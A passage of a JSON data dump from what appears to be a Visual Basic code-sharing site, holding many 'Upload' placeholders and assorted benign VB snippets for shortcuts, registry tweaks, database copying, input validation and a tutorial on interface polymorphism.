OBJ.CreateShortcut(TenFileShortCut)\nWith oShellLink\n .TargetPath = sName\n .Arguments = sParam\n .WorkingDirectory = sStratIn\n If sIcon = \"\" Then sIcon = sName\n .IconLocation = sIcon\n .Description = sComment\n .Save\nEnd With\nEnd Function\nFunction TaoShortCutOnDeskTop(TenFileShortCut As String, sName As String, _\n Optional sParam As String, Optional sStratIn As String, _\n Optional sIcon As String, Optional sComment As String)\nDim OBJ As Object, oShellLink As Object\nSet OBJ = CreateObject(\"wscript.shell\")\nSet oShellLink = OBJ.CreateShortcut(TenFileShortCut)\nSet oShellLink = OBJ.CreateShortcut(OBJ.SpecialFolders(\"Desktop\") & \"\\\" & TenFileShortCut)\nWith oShellLink\n .TargetPath = sName\n .Arguments = sParam\n .WorkingDirectory = sStratIn\n If sIcon = \"\" Then sIcon = sName\n .IconLocation = sIcon\n .Description = sComment\n .Save\nEnd With\nEnd Function\nPrivate Sub Form_Load()\nTaoShortCut \"C:\\Short1.Lnk\", \"E:\\WINDOWS\\system32\\notepad.exe\", , , , \"Create shortcut by phuongthanh37\"\nTaoShortCutOnDeskTop \"Short2.lnk\", \"%SystemRoot%\\explorer.exe\", \"/e\", \"%HOMEDRIVE%%HOMEPATH%\", \"%SystemRoot%\\explorer.exe,1\", \"Create shortcut by phuongthanh37\"\nEnd Sub"},{"WorldId":1,"id":63787,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63790,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64651,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64030,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64833,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63915,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63953,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64001,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64907,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59827,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64326,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64524,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":62448,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64249,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63739,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63827,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64529,"LineNumber":1,"line":"<pre>\nPrivate Declare Function FindWindow Lib \"user32\" Alias \"FindWindowA\" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long\nPrivate Declare Function SendMessageLong& Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)\nPrivate Const WM_COMMAND = &H111\nPrivate Sub Form_Load()\nOn Error Resume Next\nSet ws = CreateObject(\"wscript.shell\")\ncyid = ws.RegRead(\"HKEY_CURRENT_USER\\Software\\yahoo\\pager\\Yahoo! User ID\")\nnysm = InputBox(\"new yahoo status message?\")\nIf nysm = \"\" Then\nMsgBox \"error!\"\nEnd\nEnd If\nws.RegWrite \"HKEY_CURRENT_USER\\Software\\yahoo\\pager\\profiles\\\" & cyid & \"\\custom msgs\\1\", nysm, \"REG_SZ\"\nws.RegDelete \"HKEY_CURRENT_USER\\Software\\yahoo\\pager\\profiles\\\" & cyid & \"\\custom msgs\\1_bin\"\n'if u want to show busy icon\n'ws.RegWrite \"HKEY_CURRENT_USER\\Software\\yahoo\\pager\\profiles\\\" & cyid & \"\\custom msgs\\1_dnd\", 1, \"REG_DWORD\"\n' if u dont want then\nws.RegWrite \"HKEY_CURRENT_USER\\Software\\yahoo\\pager\\profiles\\\" & cyid & \"\\custom msgs\\1_dnd\", 0, \"REG_DWORD\"\nyhwnd = FindWindow(\"YahooBuddyMain\", vbNullString)\nIf yhwnd = 0 Then\nEnd\nElse\nSendMessageLong yhwnd, WM_COMMAND, 388, 1&\nydhwnd = FindWindow(\"#32770\", vbNullString)\nIf ydhwnd <> 0 Then\nSendKeys (\"{enter}\")\nEnd If\nEnd If\nEnd\nEnd Sub\n</pre>"},{"WorldId":1,"id":64831,"LineNumber":1,"line":"<pre>\nPrivate Declare Function LoadLibrary Lib \"kernel32\" Alias \"LoadLibraryA\" (ByVal lpLibFileName As String) As Long\nPrivate Declare Function FreeLibrary Lib \"kernel32\" (ByVal hLibModule As Long) As Long\nPrivate Sub Form_Load()\nOn Error GoTo erh\nFileLen App.Path & \"\\base64.dll\"\ncontinue:\nlb = LoadLibrary(App.Path & \"\\base64.dll\")\nDim o As Object\nSet o = CreateObject(\"base64.b64\")\nMsgBox o.encode(\"nagesh\")\nSet o = Nothing\nFreeLibrary lb\nEnd\nerh:\nIf Err.Number = 53 Then\nGetFromRes 101, App.Path & \"\\base64.dll\"\nGoTo continue\nEnd If\nEnd\nEnd Sub\n\nPrivate Sub GetFromRes(id As Integer, fp As String)\n Dim fn As Integer\n Dim fb() As Byte\n fb = LoadResData(id, \"CUSTOM\")\n fn = FreeFile\n Open fp For Binary Access Write As #fn\n Put #fn, , fb\n Close #fn\nEnd Sub\n</pre>"},{"WorldId":1,"id":65079,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64297,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64155,"LineNumber":1,"line":"Option Explicit\nDim cnOld As New ADODB.Connection\nDim cnNew As New ADODB.Connection\nPrivate Sub Command1_Click()\n'set your select statement here\nDim rsOld As New ADODB.Recordset\nSet rsOld = Nothing\nrsOld.Open \"select * from 1T\", cnOld\nCall createTable(rsOld, cnNew)\nEnd Sub\nPrivate Sub Form_Load()\n'set 2 databases here\ncnOld.Open (\"Provider=Microsoft.Jet.OLEDB.4.0;Data Source='\" & App.Path & \"\\1.mdb\" & \"' ;Jet OLEDB:Database Password=''\")\ncnNew.Open (\"Provider=Microsoft.Jet.OLEDB.4.0;Data Source='\" & App.Path & \"\\2.mdb\" & \"' ;Jet OLEDB:Database Password=''\")\nEnd Sub\nFunction createTable(rsOld As ADODB.Recordset, cnNew As ADODB.Connection)\nOn Error GoTo Err\nDim intX As Integer\nDim strTable As String\nDim rsNew As New ADODB.Recordset\n'set table name\nstrTable = rsOld.Fields.Item(0).Properties.Item(\"BASETABLENAME\").Value\nintX = 0\n'deletes if table exists...comment this line if you -\n'dont want the existing table to be deleted\nOn Error GoTo err1\ncnNew.Execute \"Drop table [\" & strTable & \"]\"\n'create table\ncnNew.Execute \"Create table [\" & strTable & \"]\"\nWhile intX < rsOld.Fields.Count\n With rsOld.Fields.Item(intX)\n cnNew.Execute \"Alter table \" & strTable & \" Add Column [\" & .Name & \"] \" & dataType(.Type)\n intX = intX + 1\n End With\nWend\n'transfer data\nrsNew.Open \"Select * from \" & strTable, cnNew, adOpenDynamic, adLockOptimistic\nIf rsOld.EOF = False Then\n rsOld.MoveFirst\n While rsOld.EOF = False\n intX = 0\n rsNew.AddNew\n While intX < rsOld.Fields.Count\n rsNew(intX) = rsOld(intX)\n intX = intX + 1\n Wend\n rsNew.Update\n rsOld.MoveNext\n Wend\nEnd If\nMsgBox \"Table and data transferred\", vbInformation\nExit Function\nErr:\nMsgBox Err.Description, vbExclamation\nExit Function\nerr1:\nResume Next\nEnd Function\nFunction dataType(intType As Long) As String\nIf CInt(intType) = 3 Then\n dataType = \"Long\"\nElseIf CInt(intType) = 6 Then\n dataType = \"Currency\"\nElseIf CInt(intType) = 7 Then\n dataType = \"Date\"\nElseIf CInt(intType) = 11 Then\n dataType = \"YesNo\"\nElseIf CInt(intType) = 203 Then\n dataType = \"Memo\"\nElse\n dataType = \"VarChar\"\nEnd If\nEnd Function\n"},{"WorldId":1,"id":64013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64906,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63730,"LineNumber":1,"line":"Function ReturnName(ByVal num As Integer) As String\n ReturnName = Split(Cells(, num).Address, \"$\")(1)\nEnd Function"},{"WorldId":1,"id":64304,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64956,"LineNumber":1,"line":"Private Declare Function FindWindow Lib \"user32\" Alias \"FindWindowA\" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long\nPrivate Declare Function SetWindowLong Lib \"user32\" Alias \"SetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long\nPrivate Declare Function SetParent Lib \"user32\" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long\nPrivate Declare Function MoveWindow Lib \"user32\" (ByVal hwnd As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long\nPrivate Declare Function GetForegroundWindow Lib \"user32\" () As Long\nPrivate Const GWL_STYLE = (-16)\nPrivate Const WS_CLIPSIBLINGS = &H4000000\nPrivate Const WS_VISIBLE = &H10000000\n\nPrivate Sub Form_Load()\nDim Handle As Long, Ret As Long\n'look for the window handle\nHandle = FindWindow(vbNullString, \"EDHacks.com - Mozilla Firefox\")'This is where you put the title of the program/window.\nRet = SetWindowLong(Handle, GWL_STYLE, WS_VISIBLE Or WS_CLIPSIBLINGS)\n'This is where the program will be brought into the form.\nSetParent Handle, Me.hwnd\nEnd Sub\n"},{"WorldId":1,"id":63560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63519,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63503,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64671,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64092,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":62161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64058,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":62827,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64585,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64648,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64531,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63818,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63939,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64588,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63737,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64358,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64928,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64840,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64454,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64599,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64692,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63809,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64321,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64037,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63889,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63890,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64333,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64266,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63981,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64292,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64758,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64710,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64975,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64412,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64589,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64609,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64701,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64864,"LineNumber":1,"line":"Enum DTypes\n MyChar = 0\n MyInt = 1\n MyMix = 2\n MyDecimal = 3\n MyPhone = 4\n MyEmail = 5\n MyNone = 6\n MyIntChar = 7\nEnd Enum\n'Default Property Values:\nConst m_def_DataType = 0\nEvent Change() 'MappingInfo=Text1,Text1,-1,Change\n'Property Variables:\nDim m_DataType As Integer\nPrivate Sub Text1_GotFocus()\n Text1.SelStart = 0: Text1.SelLength = Len(Text1)\n 'Command1.Visible = True\nEnd Sub\nPrivate Sub Text1_KeyPress(KeyAscii As Integer)\n If m_DataType = 0 Then\n If Not IsChar(KeyAscii) Then KeyAscii = 0\n ElseIf m_DataType = 1 Then\n If Not IsInt(KeyAscii) Then KeyAscii = 0\n ElseIf m_DataType = 2 Then\n If Not IsMix(KeyAscii) Then KeyAscii = 0\n ElseIf m_DataType = 3 Then\n If IsDecimal(KeyAscii) Then\n If Not IsProperDecimal(Text1 + Chr(KeyAscii)) Then\n KeyAscii = 0\n End If\n Else\n KeyAscii = 0\n End If\n ElseIf m_DataType = 4 Then\n If Not IsPhone(KeyAscii) Then KeyAscii = 0\n ElseIf m_DataType = 5 Then\n If Not IsEmail(KeyAscii) Then KeyAscii = 0\n ElseIf m_DataType = 6 Then\n 'Do Nothing\n ElseIf m_DataType = 7 Then\n If Not IsIntChar(KeyAscii) Then KeyAscii = 0\n End If\nEnd Sub\n'Private Sub Text1_LostFocus()\n' Command1.Visible = False\n'End Sub\n'Private Sub UserControl_KeyPress(KeyAscii As Integer)\n' If KeyAscii = 13 Then\n' SendKeys vbTab\n' End If\n'End Sub\nPrivate Sub UserControl_Resize()\n Text1.Width = UserControl.Width\n UserControl.Height = Text1.Height\n Command1.Top = Text1.Top + 10\n Command1.Left = Text1.Width - 390\nEnd Sub\n'WARNING! DO NOT REMOVE OR MODIFY THE FOLLOWING COMMENTED LINES!\n'MappingInfo=UserControl,UserControl,-1,Enabled\nPublic Property Get Enabled() As Boolean\n Enabled = UserControl.Enabled\nEnd Property\nPublic Property Let Enabled(ByVal New_Enabled As Boolean)\n UserControl.Enabled() = New_Enabled\n PropertyChanged \"Enabled\"\nEnd Property\n'Initialize Properties for User Control\nPrivate Sub UserControl_InitProperties()\n m_DataType = m_def_DataType\nEnd Sub\n'Load property values from storage\nPrivate Sub UserControl_ReadProperties(PropBag As PropertyBag)\n UserControl.Enabled = PropBag.ReadProperty(\"Enabled\", True)\n Text1.MaxLength = PropBag.ReadProperty(\"MaxLength\", 0)\n Text1.Text = PropBag.ReadProperty(\"Text\", \"\")\n m_DataType = PropBag.ReadProperty(\"DataType\", m_def_DataType)\n Text1.PasswordChar = PropBag.ReadProperty(\"PasswordChar\", \"\")\n Text1.BackColor = PropBag.ReadProperty(\"BackColor\", &H80000005)\n' Text1.Alignment = PropBag.ReadProperty(\"Alignment\", 0)\nEnd Sub\n'Write property values to storage\nPrivate Sub UserControl_WriteProperties(PropBag As PropertyBag)\n Call PropBag.WriteProperty(\"Enabled\", UserControl.Enabled, True)\n Call PropBag.WriteProperty(\"MaxLength\", Text1.MaxLength, 0)\n Call PropBag.WriteProperty(\"Text\", Text1.Text, \"\")\n Call PropBag.WriteProperty(\"DataType\", m_DataType, m_def_DataType)\n Call PropBag.WriteProperty(\"PasswordChar\", Text1.PasswordChar, \"\")\n Call PropBag.WriteProperty(\"BackColor\", Text1.BackColor, &H80000005)\n' Call PropBag.WriteProperty(\"Alignment\", Text1.Alignment, 0)\nEnd Sub\n'WARNING! DO NOT REMOVE OR MODIFY THE FOLLOWING COMMENTED LINES!\n'MappingInfo=Text1,Text1,-1,MaxLength\nPublic Property Get MaxLength() As Long\n MaxLength = Text1.MaxLength\nEnd Property\nPublic Property Let MaxLength(ByVal New_MaxLength As Long)\n Text1.MaxLength() = New_MaxLength\n PropertyChanged \"MaxLength\"\nEnd Property\n'WARNING! DO NOT REMOVE OR MODIFY THE FOLLOWING COMMENTED LINES!\n'MappingInfo=Text1,Text1,-1,Text\nPublic Property Get Text() As String\n Text = Text1.Text\nEnd Property\nPublic Property Let Text(ByVal New_Text As String)\n Text1.Text() = New_Text\n PropertyChanged \"Text\"\nEnd Property\n''WARNING! DO NOT REMOVE OR MODIFY THE FOLLOWING COMMENTED LINES!\n''MemberInfo=7,3,0,0\nPublic Property Get DataType() As DTypes\n DataType = m_DataType\nEnd Property\nPublic Property Let DataType(ByVal New_DataType As DTypes)\n m_DataType = New_DataType\n PropertyChanged \"DataType\"\nEnd Property\n'WARNING! DO NOT REMOVE OR MODIFY THE FOLLOWING COMMENTED LINES!\n'MappingInfo=Text1,Text1,-1,PasswordChar\nPublic Property Get PasswordChar() As String\n PasswordChar = Text1.PasswordChar\nEnd Property\nPublic Property Let PasswordChar(ByVal New_PasswordChar As String)\n Text1.PasswordChar() = New_PasswordChar\n PropertyChanged \"PasswordChar\"\nEnd Property\nPrivate Sub Text1_Change()\n RaiseEvent Change\nEnd Sub\n'WARNING! DO NOT REMOVE OR MODIFY THE FOLLOWING COMMENTED LINES!\n'MappingInfo=Text1,Text1,-1,BackColor\nPublic Property Get BackColor() As OLE_COLOR\n BackColor = Text1.BackColor\nEnd Property\nPublic Property Let BackColor(ByVal New_BackColor As OLE_COLOR)\n Text1.BackColor() = New_BackColor\n PropertyChanged \"BackColor\"\nEnd Property\nFunction IsIntChar(a As Integer) As Boolean\n If (a < 97 Or a > 122) And (a < 65 Or a > 90) And (a <> 8) And (a < 48 Or a > 57) Then\n IsIntChar = False\n Else\n IsIntChar = True\n End If\nEnd Function\nFunction IsChar(a As Integer) As Boolean\n If (a < 97 Or a > 122) And (a < 65 Or a > 90) And (a <> 8) And (a <> 32) Then\n IsChar = False\n Else\n IsChar = True\n End If\nEnd Function\nFunction IsInt(a As Integer) As Boolean\n If (a < 48 Or a > 57) And (a <> 8) Then\n IsInt = False\n Else\n IsInt = True\n End If\nEnd Function\nFunction IsMix(a As Integer) As Boolean\n If (a < 97 Or a > 122) And (a < 65 Or a > 90) And (a < 48 Or a > 57) And (a <> 8) And (a <> 32) And (a <> Asc(\"-\")) And (a <> Asc(\".\")) Then\n IsMix = False\n Else\n IsMix = True\n End If\nEnd Function\nFunction IsPhone(a As Integer) As Boolean\n If (a < 48 Or a > 57) And (a <> 8) And (a <> Asc(\"-\")) Then\n IsPhone = False\n Else\n IsPhone = True\n End If\nEnd Function\nFunction IsEmail(a As Integer) As Boolean\n If (a < 97 Or a > 122) And (a < 65 Or a > 90) And (a <> 8) And (a < 48 Or a > 57) And a <> Asc(\"-\") And a <> Asc(\"@\") And a <> Asc(\".\") Then\n IsEmail = False\n Else\n IsEmail = True\n End If\nEnd Function\nFunction IsProperDecimal(No As String) As Boolean\n Dim NoLen\n Dim DotFlag\n DotFlag = 0\n \n NoLen = Len(No)\n For i = 1 To NoLen\n If Mid(No, i, 1) = \".\" Then DotFlag = DotFlag + 1\n Next i\n If DotFlag > 1 Then IsProperDecimal = False Else IsProperDecimal = True\nEnd Function\nFunction IsDecimal(KeyAscii As Integer) As Boolean\n If (KeyAscii >= 48 And KeyAscii <= 57) Or KeyAscii = 8 Or KeyAscii = Asc(\".\") Then\n IsDecimal = True\n Else\n IsDecimal = False\n End If\nEnd Function\n"},{"WorldId":1,"id":64749,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64771,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64841,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64954,"LineNumber":1,"line":"This is document very useful with the program VB. Good lucky!!!!!!!!!PLEASE VOTE FOR THIS DOCUMENT"},{"WorldId":1,"id":64984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10,"LineNumber":1,"line":"Sub Dump_String_To_File (ByVal strString As String, ByVal strFile As String)\n Dim fileFile As Integer\n fileFile = FreeFile\n Open strFile For Output As fileFile\n Write #fileFile, strString\n Close fileFile\n Dim intReturn\n On Error Resume Next\n intReturn = Shell(\"c:\\apps\\utility\\textpad\\txtpad16.exe \" & strFile, 1)\n On Error GoTo 0\nEnd Sub\n"},{"WorldId":1,"id":1,"LineNumber":1,"line":"Sub Center_Form (frmForm As Form)\n frmForm.Left = (Screen.Width - frmForm.Width) / 2\n frmForm.Top = (Screen.Height - frmForm.Height) / 2\nEnd Sub"},{"WorldId":1,"id":13762,"LineNumber":1,"line":"'Call this function to begin the process of getting every window on the desktop\nPublic Sub EnumerateAllWindows()\nDim hWndDesktop As Long\n hWndDesktop = GetDesktopWindow()\n EnumerateChildren hWndDesktop\nEnd Sub\nPrivate Sub EnumerateChildren(hWndParent As Long)\nDim hWndChild As Long\n \n 'Get the first child of hWndParent\n hWndChild = GetWindow(hWndParent, GW_CHILD Or GW_HWNDFIRST)\n \n Do While hWndChild <> 0\n ' At this point, hWndChild contains a child window handle of hWndParent.\n ' You could use GetWindowText here, for instance, to retrieve the title of the window.\n Debug.Print hWndParent, hWndChild\n \n 'Now get any children for hWndChild\n EnumerateChildren hWndChild\n \n 'And move on to the next window\n hWndChild = GetWindow(hWndChild, GW_HWNDNEXT)\n Loop\n \nEnd Sub\n"},{"WorldId":1,"id":6265,"LineNumber":1,"line":"' ----- for vb6 users -----\nFunction IP_Dotless#(ByVal ipAddress As String)\n Dim numArray As Variant\n \n numArray = Split(ipAddress$, \".\")\n IP_Dotless = (numArray(0) * 256 ^ 3) + _\n (numArray(1) * 256 ^ 2) + _\n (numArray(2) * 256 ^ 1) + _\n numArray(3)\nEnd Function\n' ----- for vb5 and below users -----\nFunction IP_Dotless# (ByVal ipAddress As String)\nIP_Dotless = (Val(GetWord$(ipAddress, 1, \".\")) * 256 ^ 3) + (Val(GetWord$(ipAddress, 2, \".\")) * 256 ^ 2) + (Val(GetWord$(ipAddress, 3, \".\")) * 256 ^ 1) + (Val(GetWord$(ipAddress, 4, \".\")))\nEnd Function\nFunction CountWords& (ByVal inWord$, ByVal inSep$)\nDim strTempA$\nDim strTempB$\nDim lngTempA&\nDim lngTempB&\nDim lngRet&\nOn Error Resume Next\ninWord$ = inWord$ + inSep$\nFor lngRet& = 1 To Len(inWord$)\nstrTempA$ = Mid$(inWord$, lngRet&, Len(inSep$))\nstrTempB$ = strTempB$ + strTempA$\nIf strTempA$ = inSep$ Then\nlngTempA& = Len(strTempB$) - Len(inSep$)\nstrTempB$ = Left$(strTempB$, lngTempA&)\nlngTempB& = lngTempB& + 1\nstrTempB$ = \"\"\nEnd If\nNext lngRet&\nCountWords& = lngTempB&\nEnd Function\nFunction GetWord$ (ByVal inWord$, ByVal inCount&, ByVal inSep$)\nDim strTempA$\nDim strTempB$\nDim lngTempA&\nDim lngTempB&\nDim lngRet&\nOn Error Resume Next\ninWord$ = inWord$ + inSep$\nFor lngRet& = 1 To Len(inWord$)\nstrTempA$ = Mid$(inWord$, lngRet&, Len(inSep$))\nstrTempB$ = strTempB$ + strTempA$\nIf strTempA$ = inSep$ Then\nlngTempA& = Len(strTempB$) - 1\nstrTempB$ = Left$(strTempB$, lngTempA&)\nlngTempB& = lngTempB& + 1\nIf lngTempB& = inCount& Then\nGetWord$ = strTempB$\nExit Function\nEnd If\nstrTempB$ = \"\"\nEnd If\nNext lngRet&\nGetWord$ = \"\"\nEnd Function"},{"WorldId":1,"id":21434,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11010,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11026,"LineNumber":1,"line":"Function Split(TheString As String, Optional Delim As String, Optional Limit As Long = -1) As Variant\n 'Duplicates the functionality of the vb6 counterpart.\n 'Unfortunately, I was unable to include the vbcompare part of the vb6 funtionality.\n 'Just use Option Campare at the beggining of this module.\n Dim dynArray() As Variant\n \n If Len(Delim) > 0 Then\n Dim ArrCt%\n Dim CurPos%\n Dim LenAssigned%\n Dim CurStrLen%\n \n ArrCt% = 0\n CurPos% = 1\n LenAssigned% = 1\n \n CurStrLen% = Len(TheString$)\n \n Do\n ReDim Preserve dynArray(0 To ArrCt%)\n CurStrLen% = (InStr(CurPos%, TheString$, Delim$) - CurPos%)\n If CurStrLen% < 0 Then\n dynArray(ArrCt%) = Right$(TheString$, (Len(TheString$) - (LenAssigned% - 1)))\n Exit Do\n Else\n dynArray(ArrCt%) = Mid$(TheString$, CurPos%, CurStrLen%)\n End If\n LenAssigned% = LenAssigned% + (Len(dynArray(ArrCt%)) + Len(Delim$))\n CurPos% = LenAssigned%\n ArrCt% = ArrCt% + 1\n \n If Not Limit = -1 Then\n If ArrCt = Limit Then Exit Do\n End If\n Loop\n \n Split = dynArray\n Else\n 'duplicate the functionality more acuratley\n ReDim dynArray(0 To 0)\n dynArray(0) = TheString\n Split = dynArray\n End If\nEnd Function\n"},{"WorldId":1,"id":24603,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24604,"LineNumber":1,"line":"strWindir = Environ(\"WinDir\") ' ->C:\\Windows\nstrTempDir = Environ(\"temp\") ' ->C:\\Windows\\Temp\nstrTempDir = Environ(\"tmp\") ' ->C:\\Windows\\Temp"},{"WorldId":1,"id":23492,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13339,"LineNumber":1,"line":"Private Sub MyFlexGrid_KeyPress(KeyAscii As Integer)\n'Provides manual data entry capability to flexgrid\n With MyFlexGrid\n Select Case KeyAscii\n Case vbKeyReturn\n If .Col + 1 <= .Cols - 1 Then\n .Col = .Cols - 1\n ElseIf .Row + 1 <= .Rows - 1 Then\n .Row = .Row + 1\n .Col = 0\n Else\n .Row = 1\n .Col = 0\n End If\n Case vbKeyBack\n If Trim(.Text) <> \"\" Then\n .Text = Mid(.Text, 1, Len(.Text) - 1)\n End If\n Case Is < 32\n \n Case Else\n If .Col = 0 Or .Row = 0 Then\n Exit Sub\n Else\n .Text = .Text & Chr(KeyAscii)\n End If\n \n \n \n End Select\n \n \n End With\n \nEnd Sub\n"},{"WorldId":1,"id":22010,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31863,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13502,"LineNumber":1,"line":"'Text2 is the TextBox to search for the string in.\nDim I as Integer\nPrivate Sub Command1_Click()\n For I = 1 To Len(Text2)\n If Mid(Text2, I, Len(Text1)) = Text1 Then\n MsgBox \"String located and highlighted.\"\n Text2.SetFocus\n Text2.SelStart = I - 1\n Text2.SelLength = Len(Text1)\n End If\n Next I\nEnd Sub()"},{"WorldId":1,"id":14226,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14411,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30139,"LineNumber":1,"line":"\nIn this tutorial, I will show you how to support polymorphism in a COM compliant form, in Visual Basic, much like Java and C++.\nAbout the only difference between other OO languages and VB's polymorphism, is that VB will shield you from implementing the default interface of a class.\nTo begin with, you will need to design an Interface. An Interface is simply a class (or an IDL) that has basic method/property prototypes - without any actual blocks of code - just empty members.\nOnce your interface class has been defined, you will then be able to create your worker classes which will implement and extend the basic members of your interface class.\nAny one class can implement several interfaces, at the same time and any interface can be implemented by several other classes. This means that you can early bind to the same interface on two or more completely different objects! Why would you do this? Because it can prevent many runtime errors (VB will verify all property and methods during compile time, just as if you've added a reference to your object).\nVB can support polymorphism via late binding, also. But of course, the problem often encountered with late binding is that VB won't be able to verify all the properties and methods for you. Also, you can run into method overloading problems in VB with late binding. For instance, if two objects use the same method name (e.g. \"LoadFile(FileName As String)\" and \"LoadFile(\"FileNames() As String)\"), nothing will prevent VB from passing a different data type (an array in this example) to the other method. This won't generate compile-time errors, it will generate RUN-TIME errors that are unexpected!\nIn order to use interfaces in VB, you must use the Implements keyword in a class, in addition to the default interface (which can be defined in an IDL (interface definition language) file, 